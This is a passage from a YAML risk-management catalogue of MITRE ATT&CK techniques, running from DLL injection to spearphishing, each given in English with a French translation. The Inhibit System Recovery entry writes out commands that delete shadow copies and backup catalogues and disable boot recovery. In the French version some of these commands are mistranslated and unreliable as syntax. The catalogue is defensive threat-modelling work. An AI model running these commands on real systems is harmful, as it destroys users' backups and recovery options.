          \ responsable du chargement de la DLL). (Citation : Injection de processus\
          \ \xE9lastique juillet 2017) \n\nDes variantes de cette m\xE9thode, telles\
          \ que l\u2019injection de DLL r\xE9fl\xE9chissante (\xE9criture d\u2019\
          une DLL d\u2019auto-mappage dans un processus) et le module de m\xE9moire\
          \ (mappage de DLL lors de l\u2019\xE9criture dans un processus), surmontent\
          \ le probl\xE8me de d\xE9placement d\u2019adresse, ainsi que les API suppl\xE9\
          mentaires pour appeler l\u2019ex\xE9cution (puisque ces m\xE9thodes chargent\
          \ et ex\xE9cutent les fichiers en m\xE9moire en pr\xE9formant manuellement\
          \ la fonction de <code>LoadLibrary</code>). (Citation : Elastic HuntingNMemory\
          \ juin 2017)(Citation : Injection de processus \xE9lastique juillet 2017)\
          \ \n\nUne autre variante de cette m\xE9thode, souvent appel\xE9e module\
          \ stomping/overloading ou DLL Hollowing, peut \xEAtre utilis\xE9e pour dissimuler\
          \ le code inject\xE9 dans un processus. Cette m\xE9thode implique le chargement\
          \ d\u2019une DLL l\xE9gitime dans un processus distant, puis l\u2019\xE9\
          crasement manuel de <code>l\u2019AddressOfEntryPoint</code> du module avant\
          \ de d\xE9marrer un nouveau thread dans le processus cible. (citation :\
          \ pi\xE9tinement du module pour l\u2019injection de shellcode) Cette variante\
          \ permet aux attaquants de masquer le code inject\xE9 malveillant en soutenant\
          \ potentiellement son ex\xE9cution avec un fichier DLL l\xE9gitime sur le\
          \ disque. (Citation : Cacher du code malveillant avec le pi\xE9tinement\
          \ de module) \n\nL\u2019ex\xE9cution de code dans le contexte d\u2019un\
          \ autre processus peut permettre d\u2019acc\xE9der \xE0 la m\xE9moire du\
          \ processus, aux ressources syst\xE8me/r\xE9seau et \xE9ventuellement \xE0\
          \ des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9cution par injection DLL\
          \ peut \xE9galement \xE9chapper \xE0 la d\xE9tection des produits de s\xE9\
          curit\xE9, car l\u2019ex\xE9cution est masqu\xE9e dans le cadre d\u2019\
          un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.005
    ref_id: T1588.005
    name: Exploits
    description: 'Adversaries may buy, steal, or download exploits that can be used
      during targeting. An exploit takes advantage of a bug or vulnerability in order
      to cause unintended or unanticipated behavior to occur on computer hardware
      or software. Rather than developing their own exploits, an adversary may find/modify
      exploits from online or purchase them from exploit vendors.(Citation: Exploit
      Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)


      In addition to downloading free exploits from the internet, adversaries may
      purchase exploits from third-party entities. Third-party entities can include
      technology companies that specialize in exploit development, criminal marketplaces
      (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation:
      Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may
      steal and repurpose exploits from third-party entities (including other adversaries).(Citation:
      TempertonDarkHotel)


      An adversary may monitor exploit provider forums to understand the state of
      existing, as well as newly discovered, exploits. There is usually a delay between
      when an exploit is discovered and when it is made public. An adversary may target
      the systems of those known to conduct exploit research and development in order
      to gain that knowledge for use during a subsequent operation.


      Adversaries may use exploits during various phases of the adversary lifecycle
      (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),
      [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203),
      [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),
      [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211),
      [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
      [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
      and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

      https://attack.mitre.org/techniques/T1588/005'
    translations:
      fr:
        name: Exploits
        description: "Les adversaires peuvent acheter, voler ou t\xE9l\xE9charger\
          \ des exploits qui peuvent \xEAtre utilis\xE9s lors du ciblage. Un exploit\
          \ tire parti d\u2019un bogue ou d\u2019une vuln\xE9rabilit\xE9 afin de provoquer\
          \ l\u2019apparition d\u2019un comportement involontaire ou impr\xE9vu sur\
          \ le mat\xE9riel ou les logiciels informatiques. Plut\xF4t que de d\xE9\
          velopper ses propres exploits, un adversaire peut trouver/modifier des exploits\
          \ en ligne ou les acheter aupr\xE8s de fournisseurs d\u2019exploits. (citation\
          \ : base de donn\xE9es d\u2019exploits)(Citation : TempertonDarkHotel)(Citation\
          \ : NationsBuying)\n\nEn plus de t\xE9l\xE9charger des exploits gratuits\
          \ sur Internet, les adversaires peuvent acheter des exploits aupr\xE8s d\u2019\
          entit\xE9s tierces. Il peut s\u2019agir d\u2019entreprises technologiques\
          \ sp\xE9cialis\xE9es dans le d\xE9veloppement d\u2019exploits, de march\xE9\
          s criminels (y compris des kits d\u2019exploitation) ou de particuliers.\
          \ (Citation : PegasusCitizenLab)(Citation : Wired SandCat octobre 2019)\
          \ En plus d\u2019acheter des exploits, les adversaires peuvent voler et\
          \ r\xE9utiliser des exploits d\u2019entit\xE9s tierces (y compris d\u2019\
          autres adversaires). (Citation : TempertonDarkHotel)\n\nUn adversaire peut\
          \ surveiller les forums des fournisseurs d\u2019exploits pour comprendre\
          \ l\u2019\xE9tat des exploits existants et des exploits r\xE9cemment d\xE9\
          couverts. Il y a g\xE9n\xE9ralement un d\xE9lai entre le moment o\xF9 un\
          \ exploit est d\xE9couvert et celui o\xF9 il est rendu public. Un adversaire\
          \ peut cibler les syst\xE8mes de ceux dont on sait qu\u2019ils m\xE8nent\
          \ des activit\xE9s de recherche et de d\xE9veloppement sur l\u2019exploitation\
          \ afin d\u2019obtenir ces connaissances qui seront utilis\xE9es lors d\u2019\
          une op\xE9ration ult\xE9rieure.\n\nLes adversaires peuvent utiliser des\
          \ exploits au cours de diverses phases de leur cycle de vie (c\u2019est-\xE0\
          -dire [Exploiter une application publique](https://attack.mitre.org/techniques/T1190),\
          \ [Exploiter pour l\u2019ex\xE9cution du client](https://attack.mitre.org/techniques/T1203),\
          \ [Exploitation pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068),\
          \ [Exploitation pour contourner la d\xE9fense](https://attack.mitre.org/techniques/T1211),\
          \ [Exploitation pour l\u2019acc\xE8s aux informations d\u2019identification](\
          \ https://attack.mitre.org/techniques/T1212), [Exploitation de services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1210) et [Exploitation\
          \ d\u2019applications ou de syst\xE8mes](https://attack.mitre.org/techniques/T1499/004)).\n\
          https://attack.mitre.org/techniques/T1588/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556
    ref_id: T1556
    name: Modify Authentication Process
    description: 'Adversaries may modify authentication mechanisms and processes to
      access user credentials or enable otherwise unwarranted access to accounts.
      The authentication process is handled by mechanisms, such as the Local Security
      Authentication Server (LSASS) process and the Security Accounts Manager (SAM)
      on Windows, pluggable authentication modules (PAM) on Unix-based systems, and
      authorization plugins on MacOS systems, responsible for gathering, storing,
      and validating credentials. By modifying an authentication process, an adversary
      may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).


      Adversaries may maliciously modify a part of this process to either reveal credentials
      or bypass authentication mechanisms. Compromised credentials or access may be
      used to bypass access controls placed on various resources on systems within
      the network and may even be used for persistent access to remote systems and
      externally available services, such as VPNs, Outlook Web Access and remote desktop.

      https://attack.mitre.org/techniques/T1556'
    translations:
      fr:
        name: "Modifier le processus d\u2019authentification"
        description: "Les adversaires peuvent modifier les m\xE9canismes et les processus\
          \ d\u2019authentification pour acc\xE9der aux informations d\u2019identification\
          \ de l\u2019utilisateur ou permettre un acc\xE8s injustifi\xE9 aux comptes.\
          \ Le processus d\u2019authentification est g\xE9r\xE9 par des m\xE9canismes,\
          \ tels que le processus LSASS (Local Security Authentication Server) et\
          \ le gestionnaire de comptes de s\xE9curit\xE9 (SAM) sous Windows, les modules\
          \ d\u2019authentification enfichables (PAM) sur les syst\xE8mes Unix et\
          \ les plug-ins d\u2019autorisation sur les syst\xE8mes MacOS, charg\xE9\
          s de collecter, de stocker et de valider les informations d\u2019identification.\
          \ En modifiant un processus d\u2019authentification, un adversaire peut\
          \ \xEAtre en mesure de s\u2019authentifier aupr\xE8s d\u2019un service ou\
          \ d\u2019un syst\xE8me sans utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078).\n\
          \nLes adversaires peuvent modifier de mani\xE8re malveillante une partie\
          \ de ce processus pour r\xE9v\xE9ler des informations d\u2019identification\
          \ ou contourner les m\xE9canismes d\u2019authentification. Les informations\
          \ d\u2019identification ou l\u2019acc\xE8s compromis peuvent \xEAtre utilis\xE9\
          s pour contourner les contr\xF4les d\u2019acc\xE8s plac\xE9s sur diverses\
          \ ressources sur les syst\xE8mes du r\xE9seau et peuvent m\xEAme \xEAtre\
          \ utilis\xE9s pour un acc\xE8s persistant \xE0 des syst\xE8mes distants\
          \ et \xE0 des services externes disponibles, tels que les VPN, Outlook Web\
          \ Access et le bureau \xE0 distance.\nhttps://attack.mitre.org/techniques/T1556"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.017
    ref_id: T1546.017
    name: Udev Rules
    description: "Adversaries may maintain persistence through executing malicious\
      \ content triggered using udev rules. Udev is the Linux kernel device manager\
      \ that dynamically manages device nodes, handles access to pseudo-device files\
      \ in the `/dev` directory, and responds to hardware events, such as when external\
      \ devices like hard drives or keyboards are plugged in or removed. Udev uses\
      \ rule files with `match keys` to specify the conditions a hardware event must\
      \ meet and `action keys` to define the actions that should follow. Root permissions\
      \ are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`,\
      \ `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`,\
      \ and `/lib/udev/rules.d/`. Rule priority is determined by both directory and\
      \ by the digit prefix in the rule filename.(Citation: Ignacio Udev research\
      \ 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the\
      \ udev subsystem by adding or modifying rules in udev rule files to execute\
      \ malicious content. For example, an adversary may configure a rule to execute\
      \ their binary each time the pseudo-device file, such as `/dev/random`, is accessed\
      \ by an application. Although udev is limited to running short tasks and is\
      \ restricted by systemd-udevd's sandbox (blocking network and filesystem access),\
      \ attackers may use scripting commands under the action key `RUN+=` to detach\
      \ and run the malicious content\u2019s process in the background to bypass these\
      \ controls.(Citation: Reichert aon sedexp 2024)\nhttps://attack.mitre.org/techniques/T1546/017"
    translations:
      fr:
        name: "R\xE8gles Udev"
        description: "Les adversaires peuvent maintenir la persistance en ex\xE9cutant\
          \ du contenu malveillant d\xE9clench\xE9 \xE0 l\u2019aide de r\xE8gles udev.\
          \ Udev est le gestionnaire de p\xE9riph\xE9riques du noyau Linux qui g\xE8\
          re dynamiquement les n\u0153uds de p\xE9riph\xE9riques, g\xE8re l\u2019\
          acc\xE8s aux fichiers de pseudo-p\xE9riph\xE9riques dans le r\xE9pertoire\
          \ '/dev' et r\xE9pond aux \xE9v\xE9nements mat\xE9riels, tels que lorsque\
          \ des p\xE9riph\xE9riques externes tels que des disques durs ou des claviers\
          \ sont branch\xE9s ou retir\xE9s. Udev utilise des fichiers de r\xE8gles\
          \ avec des 'cl\xE9s de correspondance' pour sp\xE9cifier les conditions\
          \ qu\u2019un \xE9v\xE9nement mat\xE9riel doit remplir et des 'cl\xE9s d\u2019\
          action' pour d\xE9finir les actions qui doivent suivre. Des autorisations\
          \ root sont requises pour cr\xE9er, modifier ou supprimer des fichiers de\
          \ r\xE8gles situ\xE9s dans '/etc/udev/rules.d/', '/run/udev/rules.d/', '/usr/lib/udev/rules.d/',\
          \ '/usr/local/lib/udev/rules.d/' et '/lib/udev/rules.d/'. La priorit\xE9\
          \ de la r\xE8gle est d\xE9termin\xE9e \xE0 la fois par le r\xE9pertoire\
          \ et par le pr\xE9fixe num\xE9rique dans le nom de fichier de la r\xE8gle.\
          \ (Citation : Recherche Ignacio Udev 2024)(Citation : Persistance d\u2019\
          Elastic Linux 2024)\n\nLes adversaires peuvent abuser du sous-syst\xE8me\
          \ udev en ajoutant ou en modifiant des r\xE8gles dans les fichiers de r\xE8\
          gles udev pour ex\xE9cuter du contenu malveillant. Par exemple, un adversaire\
          \ peut configurer une r\xE8gle pour ex\xE9cuter son fichier binaire chaque\
          \ fois qu\u2019une application acc\xE8de au fichier de pseudo-p\xE9riph\xE9\
          rique, tel que \xAB /dev/random \xBB. Bien que udev soit limit\xE9 \xE0\
          \ l\u2019ex\xE9cution de t\xE2ches courtes et soit limit\xE9 par le bac\
          \ \xE0 sable de systemd-udevd (bloquant l\u2019acc\xE8s au r\xE9seau et\
          \ au syst\xE8me de fichiers), les attaquants peuvent utiliser des commandes\
          \ de script sous la touche d\u2019action 'RUN+=' pour d\xE9tacher et ex\xE9\
          cuter le processus du contenu malveillant en arri\xE8re-plan afin de contourner\
          \ ces contr\xF4les. (Citation : Reichert aon sedexp 2024)\nhttps://attack.mitre.org/techniques/T1546/017"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1056.004
    ref_id: T1056.004
    name: Credential API Hooking
    description: "Adversaries may hook into Windows application programming interface\
      \ (API) functions to collect user credentials. Malicious hooking mechanisms\
      \ may capture API calls that include parameters that reveal user authentication\
      \ credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike\
      \ [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique\
      \ focuses specifically on API functions that include parameters that reveal\
      \ user credentials. Hooking involves redirecting calls to these functions and\
      \ can be implemented via:\n\n* **Hooks procedures**, which intercept and execute\
      \ designated code in response to events such as messages, keystrokes, and mouse\
      \ inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection\
      \ July 2017)\n* **Import address table (IAT) hooking**, which use modifications\
      \ to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation:\
      \ Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct\
      \ 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**,\
      \ which overwrites the first bytes in an API function to redirect code flow.(Citation:\
      \ Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking\
      \ Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\nhttps://attack.mitre.org/techniques/T1056/004"
    translations:
      fr:
        name: "Accrochage de l\u2019API d\u2019identification"
        description: "Les adversaires peuvent se connecter aux fonctions de l\u2019\
          interface de programmation d\u2019applications (API) Windows pour collecter\
          \ les informations d\u2019identification de l\u2019utilisateur. Des m\xE9\
          canismes d\u2019accrochage malveillants peuvent capturer des appels d\u2019\
          API qui incluent des param\xE8tres r\xE9v\xE9lant les informations d\u2019\
          identification d\u2019authentification de l\u2019utilisateur. (Citation\
          \ : Microsoft TrojanSpy\_:Win32/Ursnif.gen\_! Contrairement \xE0 [Keylogging](https://attack.mitre.org/techniques/T1056/001),\
          \ cette technique se concentre sp\xE9cifiquement sur les fonctions API qui\
          \ incluent des param\xE8tres qui r\xE9v\xE8lent les informations d\u2019\
          identification de l\u2019utilisateur. Le hooking consiste \xE0 rediriger\
          \ les appels vers ces fonctions et peut \xEAtre mis en \u0153uvre via :\n\
          \n* **Proc\xE9dures de hooks**, qui interceptent et ex\xE9cutent le code\
          \ d\xE9sign\xE9 en r\xE9ponse \xE0 des \xE9v\xE9nements tels que des messages,\
          \ des frappes au clavier et des entr\xE9es de souris. (Citation : Pr\xE9\
          sentation de Microsoft Hook)(Citation : Injection de processus \xE9lastique\
          \ juillet 2017)\n* **Accrochage de la table d\u2019adresses d\u2019importation\
          \ (IAT)**, qui utilise les modifications apport\xE9es \xE0 l\u2019IAT d\u2019\
          un processus, o\xF9 les pointeurs vers les fonctions API import\xE9es sont\
          \ stock\xE9s. (Citation : Injection de processus \xE9lastique juillet 2017)(Citation\
          \ : Adlice Software IAT Hooks octobre 2014)(Citation : MWRInfoSecurity Dynamic\
          \ Hooking 2015)\n* **Inline hooking**, qui \xE9crase les premiers octets\
          \ d\u2019une fonction API pour rediriger le flux de code. (Citation : Injection\
          \ de processus \xE9lastique juillet 2017)(Citation : HighTech Bridge Inline\
          \ Hooking septembre 2011)(Citation : MWRInfoSecurity Dynamic Hooking 2015)\n\
          https://attack.mitre.org/techniques/T1056/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1495
    ref_id: T1495
    name: Firmware Corruption
    description: 'Adversaries may overwrite or corrupt the flash memory contents of
      system BIOS or other firmware in devices attached to a system in order to render
      them inoperable or unable to boot, thus denying the availability to use the
      devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is
      software that is loaded and executed from non-volatile memory on hardware devices
      in order to initialize and manage device functionality. These devices may include
      the motherboard, hard drive, or video cards.


      In general, adversaries may manipulate, overwrite, or corrupt firmware in order
      to deny the use of the system or devices. For example, corruption of firmware
      responsible for loading the operating system for network devices may render
      the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation:
      cisa_malware_orgs_ukraine) Depending on the device, this attack may also result
      in [Data Destruction](https://attack.mitre.org/techniques/T1485).

      https://attack.mitre.org/techniques/T1495'
    translations:
      fr:
        name: Corruption du micrologiciel
        description: "Les adversaires peuvent \xE9craser ou corrompre le contenu de\
          \ la m\xE9moire flash du BIOS du syst\xE8me ou d\u2019autres micrologiciels\
          \ dans les p\xE9riph\xE9riques connect\xE9s \xE0 un syst\xE8me afin de les\
          \ rendre inutilisables ou incapables de d\xE9marrer, emp\xEAchant ainsi\
          \ la disponibilit\xE9 de l\u2019utilisation des p\xE9riph\xE9riques et/ou\
          \ du syst\xE8me. (R\xE9f\xE9rence : Symantec Chernobyl W95. CIH) Le micrologiciel\
          \ est un logiciel qui est charg\xE9 et ex\xE9cut\xE9 \xE0 partir de la m\xE9\
          moire non volatile sur des dispositifs mat\xE9riels afin d\u2019initialiser\
          \ et de g\xE9rer les fonctionnalit\xE9s des appareils. Il peut s\u2019agir\
          \ d\u2019une carte m\xE8re, d\u2019un disque dur ou d\u2019une carte vid\xE9\
          o.\n\nEn g\xE9n\xE9ral, les adversaires peuvent manipuler, \xE9craser ou\
          \ corrompre le micrologiciel afin d\u2019emp\xEAcher l\u2019utilisation\
          \ du syst\xE8me ou des appareils. Par exemple, la corruption du micrologiciel\
          \ responsable du chargement du syst\xE8me d\u2019exploitation des p\xE9\
          riph\xE9riques r\xE9seau peut rendre les p\xE9riph\xE9riques r\xE9seau inutilisables.\
          \ (R\xE9f\xE9rence : dhs_threat_to_net_devices)(R\xE9f\xE9rence : cisa_malware_orgs_ukraine)\
          \ Selon l\u2019appareil, cette attaque peut \xE9galement entra\xEEner la\
          \ [destruction des donn\xE9es](https://attack.mitre.org/techniques/T1485).\n\
          https://attack.mitre.org/techniques/T1495"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1490
    ref_id: T1490
    name: Inhibit System Recovery
    description: "Adversaries may delete or remove built-in data and turn off services\
      \ designed to aid in the recovery of a corrupted system to prevent recovery.(Citation:\
      \ Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny\
      \ access to available backups and recovery options.\n\nOperating systems may\
      \ contain features that can help fix corrupted systems, such as a backup catalog,\
      \ volume shadow copies, and automatic repair features. Adversaries may disable\
      \ or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485)\
      \ and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation:\
      \ Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore,\
      \ adversaries may disable recovery notifications, then corrupt backups.(Citation:\
      \ disable_notif_synology_ransom)\n\nA number of native Windows utilities have\
      \ been used by adversaries to disable or delete system recovery features:\n\n\
      * <code>vssadmin.exe</code> can be used to delete all volume shadow copies on\
      \ a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows\
      \ Management Instrumentation](https://attack.mitre.org/techniques/T1047) can\
      \ be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n\
      * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog\
      \ - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code>\
      \ can be used to disable automatic Windows recovery features by modifying boot\
      \ configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\
      \ & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code>\
      \ can be used to disable Windows Recovery Environment (WinRE) repair/recovery\
      \ options of an infected system\n* <code>diskshadow.exe</code> can be used to\
      \ delete all volume shadow copies on a system - <code>diskshadow delete shadows\
      \ all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network\
      \ devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561)\
      \ to delete backup firmware images and reformat the file system, then [System\
      \ Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the\
      \ device. Together this activity may leave network devices completely inoperable\
      \ and inhibit recovery operations.\n\nAdversaries may also delete \u201Conline\u201D\
      \ backups that are connected to their network \u2013 whether via network storage\
      \ media or through folders that sync to cloud services.(Citation: ZDNet Ransomware\
      \ Backups 2020) In cloud environments, adversaries may disable versioning and\
      \ backup policies and delete snapshots, database backups, machine images, and\
      \ prior versions of objects designed to be used in disaster recovery scenarios.(Citation:\
      \ Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3\
      \ Ransomware)\nhttps://attack.mitre.org/techniques/T1490"
    translations:
      fr:
        name: "Inhiber la r\xE9cup\xE9ration du syst\xE8me"
        description: "Les adversaires peuvent supprimer ou supprimer des donn\xE9\
          es int\xE9gr\xE9es et d\xE9sactiver des services con\xE7us pour faciliter\
          \ la r\xE9cup\xE9ration d\u2019un syst\xE8me corrompu afin d\u2019emp\xEA\
          cher la r\xE9cup\xE9ration. (Citation : Talos Olympic Destroyer 2018)(Citation\
          \ : FireEye WannaCry 2017) Cela peut emp\xEAcher l\u2019acc\xE8s aux sauvegardes\
          \ et aux options de r\xE9cup\xE9ration disponibles.\n\nLes syst\xE8mes d\u2019\
          exploitation peuvent contenir des fonctionnalit\xE9s qui peuvent aider \xE0\
          \ r\xE9parer les syst\xE8mes corrompus, telles qu\u2019un catalogue de sauvegarde,\
          \ des clich\xE9s instantan\xE9s de volume et des fonctions de r\xE9paration\
          \ automatique. Les adversaires peuvent d\xE9sactiver ou supprimer les fonctions\
          \ de r\xE9cup\xE9ration du syst\xE8me pour augmenter les effets de [Destruction\
          \ de donn\xE9es](https://attack.mitre.org/techniques/T1485) et de [Donn\xE9\
          es chiffr\xE9es pour impact](https://attack.mitre.org/techniques/T1486).\
          \ (Citation : Talos Olympic Destroyer 2018)(Citation : FireEye WannaCry\
          \ 2017) De plus, les adversaires peuvent d\xE9sactiver les notifications\
          \ de r\xE9cup\xE9ration, puis corrompre les sauvegardes. (R\xE9f\xE9rence\
          \ : disable_notif_synology_ransom)\n\nUn certain nombre d\u2019utilitaires\
          \ Windows natifs ont \xE9t\xE9 utilis\xE9s par des adversaires pour d\xE9\
          sactiver ou supprimer les fonctionnalit\xE9s de r\xE9cup\xE9ration du syst\xE8\
          me :\n\n* <code>vssadmin.exe</code> peut \xEAtre utilis\xE9 pour supprimer\
          \ tous les clich\xE9s instantan\xE9s de volume sur un syst\xE8me - <code>vssadmin.exe\
          \ supprimer les clich\xE9s instantan\xE9s /all /quiet</code>\n* [Windows\
          \ Management Instrumentation](https://attack.mitre.org/techniques/T1047)\
          \ peut \xEAtre utilis\xE9 pour supprimer des clich\xE9s instantan\xE9s de\
          \ volume - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code>\
          \ peut \xEAtre utilis\xE9 pour supprimer le catalogue de sauvegarde Windows\
          \ - <code>wbadmin.exe supprimer le catalogue - silencieux</code>\n* <code>bcdedit.exe</code>\
          \ peut \xEAtre utilis\xE9 pour d\xE9sactiver les fonctionnalit\xE9s de r\xE9\
          cup\xE9ration automatique de Windows en modifiant les donn\xE9es de configuration\
          \ de d\xE9marrage - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\
          \ & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code>\
          \ peut \xEAtre utilis\xE9 pour d\xE9sactiver les options de r\xE9paration/r\xE9\
          cup\xE9ration de l\u2019environnement de r\xE9cup\xE9ration Windows (WinRE)\
          \ d\u2019un syst\xE8me infect\xE9.\n* <code>diskshadow.exe</code> peut \xEA\
          tre utilis\xE9 pour supprimer tous les clich\xE9s instantan\xE9s de volume\
          \ sur un syst\xE8me - <code>diskshadow delete shadows all</code> (Citation\_\
          : Diskshadow) (Citation\_: Crytox Ransomware)\n\nSur les p\xE9riph\xE9riques\
          \ r\xE9seau, les adversaires peuvent utiliser [Effacement de disque](https://attack.mitre.org/techniques/T1561)\
          \ pour supprimer les images de firmware de sauvegarde et reformater le syst\xE8\
          me de fichiers, puis [Arr\xEAt/Red\xE9marrage du syst\xE8me](https://attack.mitre.org/techniques/T1529)\
          \ pour recharger le p\xE9riph\xE9rique. Ensemble, ces activit\xE9s peuvent\
          \ rendre les p\xE9riph\xE9riques r\xE9seau compl\xE8tement inutilisables\
          \ et entraver les op\xE9rations de r\xE9cup\xE9ration.\n\nLes adversaires\
          \ peuvent \xE9galement supprimer les sauvegardes \xAB en ligne \xBB connect\xE9\
          es \xE0 leur r\xE9seau, que ce soit via des supports de stockage r\xE9seau\
          \ ou des dossiers synchronis\xE9s avec des services cloud. (Citation : Sauvegardes\
          \ ZDNet Ransomware 2020) Dans les environnements cloud, les adversaires\
          \ peuvent d\xE9sactiver les politiques de gestion des versions et de sauvegarde\
          \ et supprimer des instantan\xE9s, des sauvegardes de bases de donn\xE9\
          es, des images de machine et des versions ant\xE9rieures d\u2019objets con\xE7\
          us pour \xEAtre utilis\xE9s dans des sc\xE9narios de r\xE9cup\xE9ration\
          \ d\u2019urgence. (Citation : Dark Reading Code Spaces Cyber Attack)(Citation\
          \ : Rhino Security Labs AWS S3 Ransomware)\nhttps://attack.mitre.org/techniques/T1490"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.007
    ref_id: T1546.007
    name: Netsh Helper DLL
    description: 'Adversaries may establish persistence by executing malicious content
      triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is
      a command-line scripting utility used to interact with the network configuration
      of a system. It contains functionality to add helper DLLs for extending functionality
      of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper
      DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.


      Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary
      code in a persistent manner. This execution would take place anytime netsh.exe
      is executed, which could happen automatically, with another persistence technique,
      or if other software (ex: VPN) is present on the system that executes netsh.exe
      as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation:
      Demaske Netsh Persistence)

      https://attack.mitre.org/techniques/T1546/007'
    translations:
      fr:
        name: "DLL d\u2019aide Netsh"
        description: "Les adversaires peuvent \xE9tablir une persistance en ex\xE9\
          cutant du contenu malveillant d\xE9clench\xE9 par des DLL Netsh Helper.\
          \ Netsh.exe (\xE9galement appel\xE9 Netshell) est un utilitaire de script\
          \ de ligne de commande utilis\xE9 pour interagir avec la configuration r\xE9\
          seau d\u2019un syst\xE8me. Il contient une fonctionnalit\xE9 permettant\
          \ d\u2019ajouter des DLL d\u2019assistance pour \xE9tendre les fonctionnalit\xE9\
          s de l\u2019utilitaire. (Citation : TechNet Netsh) Les chemins d\u2019acc\xE8\
          s aux DLL d\u2019assistance netsh.exe enregistr\xE9es sont entr\xE9s dans\
          \ le registre Windows \xE0 <code>l\u2019adresse HKLM\\SOFTWARE\\Microsoft\\\
          Netsh</code>.\n\nLes adversaires peuvent utiliser des DLL d\u2019assistance\
          \ netsh.exe pour d\xE9clencher l\u2019ex\xE9cution de code arbitraire de\
          \ mani\xE8re persistante. Cette ex\xE9cution aurait lieu \xE0 tout moment\
          \ netsh.exe est ex\xE9cut\xE9e, ce qui pourrait se produire automatiquement,\
          \ avec une autre technique de persistance, ou si un autre logiciel (ex :\
          \ VPN) est pr\xE9sent sur le syst\xE8me qui netsh.exe ex\xE9cute dans le\
          \ cadre de sa fonctionnalit\xE9 normale. (citation : balise Github Netsh\
          \ Helper CS)(citation : Demaske Netsh Persistence)\nhttps://attack.mitre.org/techniques/T1546/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1566.003
    ref_id: T1566.003
    name: Spearphishing via Service
    description: "Adversaries may send spearphishing messages via third-party services\
      \ in an attempt to gain access to victim systems. Spearphishing via service\
      \ is a specific variant of spearphishing. It is different from other forms of\
      \ spearphishing in that it employs the use of third party services rather than\
      \ directly via enterprise email channels. \n\nAll forms of spearphishing are\
      \ electronically delivered social engineering targeted at a specific individual,\
      \ company, or industry. In this scenario, adversaries send messages through\
      \ various social media services, personal webmail, and other non-enterprise\
      \ controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services\
      \ are more likely to have a less-strict security policy than an enterprise.\
      \ As with most kinds of spearphishing, the goal is to generate rapport with\
      \ the target or get the target's interest in some way. Adversaries will create\
      \ fake social media accounts and message employees for potential job opportunities.\
      \ Doing so allows a plausible reason for asking about services, policies, and\
      \ software that's running in an environment. The adversary can then send malicious\
      \ links or attachments through these services.\n\nA common example is to build\
      \ rapport with a target via social media, then send content to a personal webmail\
      \ service that the target uses on their work computer. This allows an adversary\
      \ to bypass some email restrictions on the work account, and the target is more\
      \ likely to open the file since it's something they were expecting. If the payload\
      \ doesn't work as expected, the adversary can continue normal communications\
      \ and troubleshoot with the target on how to get it working.\nhttps://attack.mitre.org/techniques/T1566/003"
    translations:
      fr:
        name: Spearphishing via Service
        description: "Les adversaires peuvent envoyer des messages de spearphishing\
